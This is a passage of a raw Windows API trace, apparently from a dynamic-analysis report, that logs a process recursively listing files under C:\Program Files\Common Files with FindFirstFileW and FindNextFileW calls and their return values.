lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.998] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="..", cAlternateFileName="")) returned 1 [0276.998] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xb3fd6e56, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xf1000, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0276.998] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xb3fd6e56, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xf1000, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0276.998] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0276.998] GetProcessHeap () returned 0xaf0000 [0276.998] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0276.999] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="VSTO", cAlternateFileName="")) returned 1 [0276.999] GetProcessHeap () returned 0xaf0000 [0276.999] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0276.999] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\*", lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.999] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="..", cAlternateFileName="")) returned 1 [0276.999] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="10.0", cAlternateFileName="")) returned 1 [0276.999] GetProcessHeap () returned 0xaf0000 [0276.999] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0276.999] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.999] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.999] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0276.999] GetProcessHeap () returned 0xaf0000 [0276.999] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3699280 [0277.000] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2aeeae0 | out: lpFindFileData=0x2aeeae0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0277.000] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeae0 | out: lpFindFileData=0x2aeeae0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.000] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeae0 | out: lpFindFileData=0x2aeeae0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6d7a0a, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x30a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0277.001] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeae0 | out: lpFindFileData=0x2aeeae0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0277.001] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2aeeae0 | out: lpFindFileData=0x2aeeae0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0277.001] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0277.001] GetProcessHeap () returned 0xaf0000 [0277.001] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3699280 | out: hHeap=0xaf0000) returned 1 [0277.001] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0277.001] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x59a70, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0277.001] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0277.002] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0277.002] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0277.002] GetProcessHeap () returned 0xaf0000 [0277.002] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0277.003] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0277.003] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x4298, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0277.003] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0277.003] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0277.004] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0277.004] GetProcessHeap () returned 0xaf0000 [0277.004] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0277.004] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="VSTO", cAlternateFileName="")) returned 0 [0277.004] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0277.004] GetProcessHeap () returned 0xaf0000 [0277.005] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3688270 | out: hHeap=0xaf0000) returned 1 [0277.006] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0277.006] GetProcessHeap () returned 0xaf0000 [0277.006] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0277.006] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ad, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0277.007] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="..", cAlternateFileName="")) returned 1 [0277.007] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0277.007] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0277.007] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0277.007] GetProcessHeap () returned 0xaf0000 [0277.007] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0277.007] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb423a2d0, ftCreationTime.dwHighDateTime=0x1d57095, ftLastAccessTime.dwLowDateTime=0x57b65dd0, ftLastAccessTime.dwHighDateTime=0x1d57d51, ftLastWriteTime.dwLowDateTime=0x57b65dd0, ftLastWriteTime.dwHighDateTime=0x1d57d51, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="skype.exe", cAlternateFileName="")) returned 1 [0277.007] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0277.007] GetProcessHeap () returned 0xaf0000 [0277.007] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0277.008] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ad, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0277.008] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="..", cAlternateFileName="")) returned 1 [0277.008] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="ado", cAlternateFileName="")) returned 1 [0277.008] GetProcessHeap () returned 0xaf0000 [0277.008] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0277.008] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0277.009] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.009] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52a0c6a1, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x52a0c6a1, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x52a0c6a1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a08, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0277.009] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0277.009] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0277.009] GetProcessHeap () returned 0xaf0000 [0277.009] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3688270 [0277.010] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0277.010] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, 